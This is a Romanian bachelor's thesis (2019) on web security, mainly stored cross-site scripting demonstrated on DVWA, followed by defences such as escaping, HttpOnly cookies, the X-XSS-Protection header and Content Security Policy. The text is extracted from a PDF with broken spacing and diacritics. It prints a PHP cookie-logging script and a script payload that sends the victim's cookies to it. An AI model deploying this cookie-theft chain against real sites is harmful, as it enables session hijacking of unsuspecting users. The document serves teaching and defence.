Universit a tea A urel Vlaicu Arad [619082]
Universit a tea "A urel Vlaicu" Arad
F a cul t a tea de Sti inte Exa cte
Domeniul Inf orma tic
Analiza Securitate W eb: De la teorie la
studiu de caz
LUCRARE DE LICENT A
Coordona tor s , ti int , ific Student: [anonimizat]µiu Raf ael Alexandr u
Arad, R omânia
Iulie 2019
Cuprins
1 Securitatea W eb 2
2 Cross Site Scripting 4
2.1 Stored(p ersisten t) Cross Site Scripting . . . . . . . . . . . . . . . . . . 4
2.2 Ap rarea împ otriv a atacurilor de tip XSS . . . . . . . . . . . . . . . . . 8
1
Capitolul 1
Securitatea W eb
Cele mai r spândite atacuri sun t asupra site-urilor w eb, acestea ind expuse pu-
blicului. Dup cum se v ede si din gracul de mai jos, acestea predomina, iar exploa-
tarea unor vulnerabilitati ale acestora p ot afecta gra v an umite companii, ind expuse
informat ,ii p ersonale, detalii despre cardurile bancare, s ,.a.m.d.
Figura 1.1: Pro cen ta jul A tacurilor W eb
A ceste vulnerabilitati sun t de mai m ulte feluri:
SQL injection
Cross site scripting
Lo cal le inclusion
Remote le inclusion
2
Remote co de execution, etc
De altfel, aceste vulnerabilitati sun t do cumen tate de c tre O W ASP , care este o
fundat ,ie non-prot, înint ,at in SUA in an ul 2004. La un an umit n um r de ani(3-4
ani) aces ,tia publica un top cu tipurile de vulnerabilitati exploatate.
T oate aplicat ,iile, do cumen tele s ,i forum urile dezv oltate de O W ASP sun t gratuite s ,i
sun t p en tru orice p ersoan care este in teresat de îm bun t t ,irea securit t ,ii aplicat ,iilor.
Figura 1.2: Tipuri de vulnerabilit t ,i
Se p oate observ a ca in topul din an ul 2017 au fost in tro duce 3 noi categorii, acelea
ind:
XML External En tities
Insecure Deserialization
Insucien t logging & monitoring
Se p oate observ a c , a fost com binat insecure direct ob ject references s ,i missing
function lev el access con trols rezultând brok en access con trol, iar atacurile de tip cross
site scripting au a juns de p e lo cul 3 p e lo cul 7.
Exist mai m ulte aplicat ,ii cu a jutorul c rora putem in v t ,a mai m ulte despre ata-
curile mai sus en umerate, prin tre care se n um r si D VW A (damn vulnerable w eb
application), O W ASP Mutillidae Pro ject. Mai exist s ,i sisteme de op erare mo dicate
in tent ,ionat p en tru a vulnerabile, cum ar D VL (damn vulnerable lin ux), Metasplo-
itable 1, 2, 3.
3
Capitolul 2
Cross Site Scripting
2.1 Stored(p ersisten t) Cross Site Scripting
Stored cross site scripting este cel mai distrug tor tip de atac XSS, atacatorul
folosindu-se de acest tip de vulnerabilitate p en tru a injecta con ten t malit ,ios – de cele
mai m ulte ori folosindu-se de ja v ascript în t ,in ta sa, e c e v orba de un w ebsite,
forum sau form ular de con tact.
Daca site-ul n u v alideaz input-ul, de exemplu folosindu-se de o baz de date, acest
co d malit ,ios este sto cat p ermanen t în aplicat ,ia t ,in tit . De exemplu, atacatorul p oate
insera co dul malit ,ios în tr-un câmp folosit p en tru a p osta comen tarii în tr-un blog.
Figura 2.1: D VW A exemplu atac stored cross site scripting
4
Când victima acceseaz acea pagin w eb afectat cont ,in utul malit ,ios este trimis
c tre bro wser-ul victimei ca s ,i când ar face parte din co dul HTML. Asta înseamn
c bro wser-ul victimei v a executa acel co d malit ,ios o dat ce pagina afectat a fost
vizualizat in bro wser.
Anatomia un ui atac de tip stored XSS este urmatoarea:
Prin acest tip de atac, atacatorul p oate fura co okie-urile victimei sau s o redirect ,ioneze
c tre o alta pagin .
P en tru a prelua co okie-urile utilizatorului, atacatorul p oate crea un s ,ier de tip php
p e care s îl hosteze, gratuit, de exemplu p e www.000w ebhost.com
Fis ,ierul php v a cont ,ine urm toarele linii de co d:
5
<?p h p
h e a d e r ( ' L o c a t i o n : h t t p s : / / g o o g l e . com ' ) ;
$ c o o k i e s = $ _ G E T [ " c " ] ;
$ f i l e = f o p e n ( ' l o g . t x t ' , ' a ' ) ;
f w r i t e ( $ f i l e , $ c o o k i e s . " \ n \ n " ) ;
?>
Elemen tul header v a redirect ,iona user-ul c tre un alt w ebsite, sau pagina p e care noi
o alegem, in cazul de mai sus utilizatorul ind redirect ,ionat c tre h ttps://go ogle.com.
A doua linie de co d atribuie unei v ariabile co okie-ul. A treia linie desemneaz s ,ierul
in care v a sto cat co okie-ul, in cazul nostru log.txt. Ultima linie de co d v a îm bina
v ariabilele denite in cele doua stringuri, p en tru a scrie cont ,in utul v ariabilei co okie-ul
in s ,ierul log.txt.
V a folosit urm torul pa yload:
< s c r i p t t y p e = " t e x t / j a v a s c r i p t " >d o c u m e n t . l o c a t i o n =
' h t t p : / / 1 2 7 . 0 . 0 . 1 / c o o k i e s t e a l e r . p h p ? c= '+ d o c u m e n t . c o o k i e ; </ s c r i p t >
Când acceseaz pagina afectat , se v a executa co dul ja v ascript, iar p e lâng faptul
ca userului ii v a furat co okie-ul, v a redirect ,ionat c tre pagina desemnata de noi.
A ccesând s ,ierul de p e site, putem v edea co okie-urile sto cate.
În cazul in care atacatorul dores ,te sa redirect ,ioneze utilizatorul c tre o alt pagin ,
sau w ebsite p oate folosi urm torul pa yload:
< s c r i p t > a l e r t ( d o c u m e n t . l o c a t i o n =h t t p : / / 1 2 7 . 0 . 0 . 1 ) ; < / s c r i p t >
A tacatorul se mai p oate folosi si de BeEF(bro wser exploitation framew ork), XSS
Pro xy sau Bac kframe p en tru a exploata vulnerabilitatea. BeEF are un pa yload prin
care conecteaz victima la consola sa. În acest fel atacatorul v a putea con trola bro w-
serul victimei prin in termediul consolei BeEF.
6
A cest tip de atac este p osibil deoarece sun t pus ,i parametri nesiguri in co dul surs , cum
ar tag-urile:
<p>
<div>, etc
De altfel, ar indicat s n u se pun parametri nesiguri în urm toarele lo cat ,ii:
1. Direct in script:
<script>…NEVER PUT UNTR USTED D A T A HERE…</script>
2. În in teriorul un ui comen tariu HTML:
<!…NEVER PUT UNTR USTED D A T A HERE…>
3. În cont ,in utul un ui atribut:
<div …NEVER PUT UNTR USTED D A T A HERE…=test />
4. În cont ,in utul un ui tag:
<NEVER PUT UNTR USTED D A T A HERE… href="/test" />
5. Direct în CSS:
<st yle>…NEVER PUT UNTR USTED D A T A HERE…</st yle>
7
2.2 Ap rarea împ otriv a atacurilor de tip XSS
P en tru a ap ra un w ebsite de atacurile de tip XSS, ne v om folosi de urm toarele
sugestii:
1. V om folosi ag-ul HTTPOnly co okie. P en tru a prev eni vulnerabilit t ,ile de
tip cross site scripting in aplicat ,ii este greu, dup cum ne putem da seama, dar este
recomandat s set m ag-ul HTTPOnly co okie in sesiunea co okie-ului.
2. V om da escap e la urm toarele caractere folosite in exploatarea vulnerabilit t ,ilor de
tip XSS:
& > &
< > <
> > >
" > "
' > '
/ > /
De exemplu, in tro ducem pa yload-ul în tr-un searc h b o x:
8
Output-ul v a :
3. F olosirea header-ului X-XSS:
A cest header activ eaz ltrul XSS din an umite bro wsere. De obicei bro wserele au
acest ltru preinstalat, dar acest header reactiv eaz ltrul în cazul in care user-ul l-a
dezactiv at.
Header-ul X-XSS are mai m ulte v alori, acelea ind:
V aloarea 0, ceea ce înseamn ca ltrul XSS este dezactiv at:
x-xss-protection:;
V aloarea 1, ceea de activ eaz ltrul XSS, iar în cazul în care este detectat un
atac bro wserul p en tru a opri acest atac v a elimina caracterele malitioase:
x-xss-protection:1;
V aloarea 1; mo de=blo c k activ eaz ltrul XSS, iar în cazul în care este detectat
un atac, în lo c de a elimina caractere malit ,ioase, bro wserul v a prev eni randarea
paginii:
x-xss-protection:1; mo de=blo c k
De altfel, acest header se p oate activ a în urm toarele mo duri in Nginx, Apac he si I IS:
9
În Nginx: add_header x-xss-protection "1; mo de=blo c k" alw a ys;
În Apac he:
header alw a ys set x-xss-protection "1; mo de=blo c k"
P en tru a-l activ a în I IS, in tro ducem urm torul co d in s ,ierul W eb.cong:
< s y s t e m . w e b S e r v e r >
. . .
< h t t p P r o t o c o l>
< c u s t o m H e a d e r s >
<a d d n a m e = "X XSS P r o t e c t i o n " v a l u e = " 1 ; mode = b l o c k " / >
</ c u s t o m H e a d e r s >
</ h t t p P r o t o c o l>
. . .
</ s y s t e m . w e b S e r v e r >
Mai exist un mo d de a v erica securitatea header-elor, putând s ît ,i scanezi w ebsite-ul
cu urmatorul to ol online, gratuit, dezv oltat de Scott Helme:
4. Implemen tarea Con ten t Securit y P olicy
Ultimele v ersiuni de bro wsere sup ort Con ten t-Securit y P olicies care p ermit admi-
nistratorului w ebsite-ului s con troleze de unde p oate înc rcat si executat co dul ja-
v ascript, atacurile XSS bazându-se p e capabilitatea atacatorului de a executa scripturi
10
malit ,ioase in tag-urile din in teriorul paginii HTML, sau prin "p c lirea bro wserului
p en tru a înc rca co dul ja v ascript de p e un alt domeniu(3rd part y) utilizat de atacator.
Prin setarea p olicy-ului in resp onse header, îi p ot ,i spune bro wserului s n u execute
nicio dat inline ja v ascript(<script> co d malit ,ios</script>) s ,i s denes ,ti domeniile
de p e care se p oate executa co dul ja v ascript.
De exemplu: Con ten t-Securit y-P olicy: script-src 'self ' h ttps://apis.go ogle.com
Con ten t-securit y p olicy p oate in tro dus s ,i în tr-un <meta> tag în elemen tul <head>
al paginii: <meta h ttp-equiv="Con ten t-Securit y-P olicy" con ten t="script-src 'self ' h t-
tps://apis.go ogle.com">
11
Copyright Notice
© Licențiada.org respectă drepturile de proprietate intelectuală și așteaptă ca toți utilizatorii să facă același lucru. Dacă consideri că un conținut de pe site încalcă drepturile tale de autor, te rugăm să trimiți o notificare DMCA.
Acest articol: Universit a tea A urel Vlaicu Arad [619082] (ID: 619082)
Dacă considerați că acest conținut vă încalcă drepturile de autor, vă rugăm să depuneți o cerere pe pagina noastră Copyright Takedown.
